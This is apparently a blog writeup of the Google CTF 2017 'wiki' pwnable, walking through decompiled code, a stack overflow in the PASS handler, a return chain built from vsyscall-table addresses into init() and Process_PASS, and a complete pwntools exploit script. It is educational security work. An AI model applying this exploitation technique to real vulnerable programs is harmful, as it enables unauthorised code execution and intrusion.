Google CTF 2017 – Pwnables – Wiki – Writeup

Hi guys, another writeup for the Google CTF 2017 qualifiers.

This time it’s about the “wiki” pwnable binary which had a “medium” difficulty tag attached to it.

Unfortunately I wasn’t able to solve this puzzle in time and I had to learn quite a bit of new stuff in order to fully understand and exploit this – but it was worth the effort and a really nice trip.

So, here we go.

Security Analysis

image 9

Ok, so we again have a protected stack (NX) and also PIE enabled. No stack canaries (which is good – since I don’t know jack about them – yet :-)).

Program flow

The program itself is quite simple. Once you start it, it reads certain stuff from stdin and then works based on data you’re entering.

Analyzing the binary in IDA Pro reveals the following processing loop.


void __fastcall __noreturn inputProcessor(__int64 a1)
{
  __int64 userPass; // r12@1
  __int64 userReturn; // rax@5
  char inputBuffer; // [sp+Fh] [bp-99h]@2

  userPass = 0LL;
  while ( 1 )
  {
    while ( 1 )
    {
      memset(&inputBuffer, 0, 0x81uLL);
      readLine(0, (__int64)&inputBuffer, 0x80LL);
      if ( !(unsigned int)compareString((__int64)&inputBuffer, (__int64)"USER") )
        break;
      if ( userPass )
        _exit(0);

      LODWORD(userReturn) = (*(int (__fastcall **)(char *, const char *))(a1 + 8))(&inputBuffer, "USER");

      // function returns password matching to USER
      userPass = userReturn;
    }
    if ( (unsigned int)compareString((__int64)&inputBuffer, (__int64)"PASS") )
    {
      // Calls process_PASS with the correct password as parameter
      (*(void (__fastcall **)(__int64, const char *))a1)(userPass, "PASS");
    }
    else if ( (unsigned int)compareString((__int64)&inputBuffer, (__int64)"LIST") )
    {
      // List content of "db" directory
      (*(void (__fastcall **)(char *, const char *))(a1 + 16))(&inputBuffer, "LIST");
    }
  }
}

As you can see, there are three major functions that get triggered based on the input commands that can be USER, PASS and LIST.

I will spare you the decompilation/discussion of USER and LIST and cut things short.

TL;DR: The USER command expects a “Username” as the then following input. This is then used as name for an input file, residing in a “db” subdirectory. This file includes the PASSword for this given user (in plaintext).

Since we have no way to know the password (since we don’t have shell access), we need to work a way around this.

Looking at the inputProcessor code above, you can see that the USER function returns the “real” password and passes it as parameter to the PASS function.

I’ll name the three subfunctions for processing USER, PASS and LIST as Process_USER, Process_LIST and Process_PASS.

So, once the USER password was read from the file, the Process_PASS function is triggered. This function looks like this:


signed __int64 __fastcall process_PASS(__int64 a1)
{
  __int64 correctPassword; // rbp@1
  signed __int64 v2; // rcx@1
  __int64 *v3; // rdi@1
  int v4; // edi@4
  signed __int64 result; // rax@5
  __int64 passwordReadBuffer; // [sp+0h] [bp-98h]@1

  correctPassword = a1;
  v2 = 0x20LL;
  v3 = &passwordReadBuffer;
  while ( v2 )
  {
    *(_DWORD *)v3 = 0;
    v3 = (__int64 *)((char *)v3 + 4);
    --v2;
  }
  v4 = 0;
  if ( readLine(0, (__int64)&passwordReadBuffer, 0x1000LL) & 7 )

noMultipleOf8:
    _exit(v4);

  result = compareString((__int64)&passwordReadBuffer, correctPassword);
  if ( (_DWORD)result )
  {
    v4 = system("cat flag.txt");
    goto noMultipleOf8;
  }
  return result;
}

What this does, is:
– make some space for an input buffer
– read a “password” from stdin (fd 0) with a max length of 0x1000 bytes
– only allow passwords with a length that are a multiple of 8
– then compares the entered password with the correct one
– and if ok, it triggers the following “system” call: “cat flag.txt” – bingo.

The vulnerability

Looking at the disassembly of this function in radare2, we find something interesting.

image 10.png

You can see (marked) that the input buffer (loaded into rdi which is RSP – the stack – minus 0x88 bytes) is a bit small for a 0x1000 bytes (max) read command. So yes, this is a classical stack overwrite vulnerability.

By sending more than 0x88 bytes we will most certainly overwrite something on the stack – which we will try use to trigger a ROP chain to do “stuff”.

I must admit, at the beginning I had no idea how to exploit this. I didn’t find a way to leak data hence it was impossible to calculate real addresses of ROP gadgets. But after looking up other writeups, I learned about the vsyscall table.

This table is the only bit of code that’s always at the same address in memory. See the following screen. At this address (and at the following 0x400 offsets, too) you will find some code we intend to use when thinking of ROP.

image

The vsyscall entries

So basically we have here three “wrappers” for 3 syscalls.

Here the first one:

image 2

This one is calling syscall 96, which is:

int gettimeofday(struct timeval *tv, struct timezone *tz);

Here the second entry:

image 3

This is calling syscall 201, which is:

time_t time(time_t *tloc);

And finally, the third entry:

image 4

This one is calling syscall 309, which is:

int getcpu(unsigned *cpu, unsigned *node, struct getcpu_cache *tcache);

Our gameplan

As already said, Process_PASS gets the “correct” password as function parameter (which is register rdi in 64 bit linux) so if we can somehow load there a pointer to a zero byte buffer and run our Process_PASS with an input string of \0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00 (that’s 8 * zero), then the compareString function should pass successfully (since the first byte is correct and the function will stop after finding one zero since it thinks that the string is complete). We also pass the 8 byte length check. So eventually, this should lead to the execution of the system call.

Here the disassembly of Process_PASS again. See rdi (function argument 1) which is later used for comparison with the entered password.

image 5.png

So, how to overwrite the stack and build a ROP chain which sets rdi as needed and also brings us back into Process_PASS?

Let’s take a look at the stack-situation, right after entering a (wrong password) and just before Process_PASS is returning (i.e. hitting the final RET).

image 11.png

Right, there’s our wrong password and a bit of other stuff. But since we know that the program aligns the stack by 0x88, let’s see what’s going on at rsp+0x88.

image 12.png

So we can see here two qword’s that get popped into rbx and rbp and then (here at …ac8) the return address which the RET will use to jump back to the calling function.

Doing some math (0x88 + 8 + 8 = 0x98 = 152 .. or 0x13 qword’s) we know that we have to overwrite 152 bytes on the stack in order to finally be able to redirect the program flow by overwriting the RET value.

So our first exploit payload would be 152*’a’ + RET (where RET equals the begin of our ROP chain we gotta build).

Since we already found out that the only statically mapped code is the vsyscall table, we’ll try to use these (or to be more precise: their corresponding RET’s) to jump up the stack. Why’s that? Because as you can see on the screen above, later on the stack (beginning at …b68) you find pointers to various program functions. And the first two are.

0x55bfcd8abe10: init() function
0x55bfcd8aba8f: Process_PASS(password*) function

We can now fill the space between 0x88+8+8 and these function memory pointers with references to vsyscall table entries and use the RET’s to call the next entry – until we finally reach the function we REALLY want to return to.

Let me show you what this means in detail. I tried two variants for achieving a stable exploit.

Exploit variant 1

Plan had been to use our vsyscall RET’s to jump into the Process_PASS function. This can be done by filling up the space on the stack until we reach the desired position.

This means we had to send an “overwrite” payload (152*”A”) to reach the RET (or Start-of-ROP) plus then additional 24 references to one of the vsyscall addresses (0xffffffffff600000, +0x400, +0x800).

The complete stack right before leaving the first occurrence of Process_PASS looks like this:

image 13.png

So, what will happen now at the final RET of the Process_PASS function if the stack is setup like this? Well, the processor will hop to the vsyscall function, do its work (e.g. getcpu syscall), find another RET, pull the next address from the stack, jump there and then repeats again and again .. until it finally reaches stack position 0x7ffe379eb398 – a pointer to the Process_PASS function.

And this works fine – here the proof. Just set a bp on the function and continue program flow.

image 14

And we’re back at Process_PASS!

We then send another buffer (8 * \0x00), and in a case, where the value at the RDI pointer is also zero, the compareString function will be fine and the flag gets displayed.

So the variant 1 idea had been to try out the three vsyscall calls to see if one of them returns a pointer with zero-bytes in rdi. So i basically added a breakpoint after ROPing into the vsyscall function to see what rdi looks like after the RET.

Syscall 96

rdi is loaded with zero (no pointer) and hence is not usable.

image 8

Syscall 201

rdi is loaded with zero (no pointer) and hence is not usable.

image 7

Syscall 309

Returns a pointer to a structure. That’s good! And sometimes the first byte is actually zero – so that could work…

image 6.png

Conclusion: The only syscall that returns a valid pointer (with a zero inside) is syscall 309.

Unfortunately, sometimes the first byte returned by getcpu is 3 (or 1, and sometimes zero) and the PASS-compare will fail if we’re not comparing our (input-)zero’s with memory zero’s. Not sure why getcpu even returns different values on my machine but I decided that this is not a good solution since it wasn’t stable. Every x’th attempt worked (because getcpu returned a zero byte) – but many other attempts didn’t. So I scrapped that.

Exploit variant 2

This time, we’ll not jump into process_PASS but instead into the first return address on the stack (which is init() function).

The good thing is, that init() will load our rdi with a pointer to the begin (?) of the .bss section (which carries a bunch of zeros). Perfect for our compare-zero-with-zero endeavors.

So we modify the exploit to only send 23 vsyscall references, our stack then looks as follows:

image 15.png

Setting a breakpoint on the init() function (0x556c38b4fe10 in this case) we can see the breakpoint triggering.

image 16

At the end of the init() function there’s another RET that brings us (ROP-style) into the next function (by pulling its address from the stack), which is Process_PASS. Setting a bp there and continue and we land at Process_PASS.

image 17

Taking a look at rdi (the “correct password” ptr for Process_PASS), we see a pointer to .bss section with zero bytes inside. This is perfectly suitable for the then following bogus string compare.

image 18

We then send our 8 zero’s, they get compared to zero,  the system command executes – and pulls my (fake-) flag. Game over.

image 19

So, TL;DR – the solution was super simple in the end – but you needed to know about this vsyscall thing (which I didn’t). Steps:

– Overwrite stack as needed
– Use the vsyscall ret’s for ROPing
– Use the init() function to load rdi with a zero byte data pointer
– Compare the input with zero to be valid and trigger the flag

Here the complete source code of the exploit.

#!/usr/bin/env python2

from pwn import *

context.arch = "amd64"
context.timeout = 60

#open the process
if args['REMOTE']:
    p = remote('localhost', 31337)
else:
    p = process("./challenge")

log.info("Sending USER command ...")
p.sendline("USER")
p.sendline("Fortimanager_Access")

log.info("Sending exploitable PASS command...")
p.sendline("PASS")

#log.info("Waiting for key before sending stack overwrite...")
#raw_input()

log.info("Overwriting stack ...")

# this will push us to the RET of the failed password compare
overwrite="11111111"*19

# shift stack by 23 more entries to set RET to init()
overwrite+=(pack(0xffffffffff600800, 64) * 23)

p.sendline(overwrite)

log.info("Now sending Zero-Password...")
#raw_input()

# send 0x00 as password
p.sendline("\x00"*8)

#print p.recvall()
print p.recvline()

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s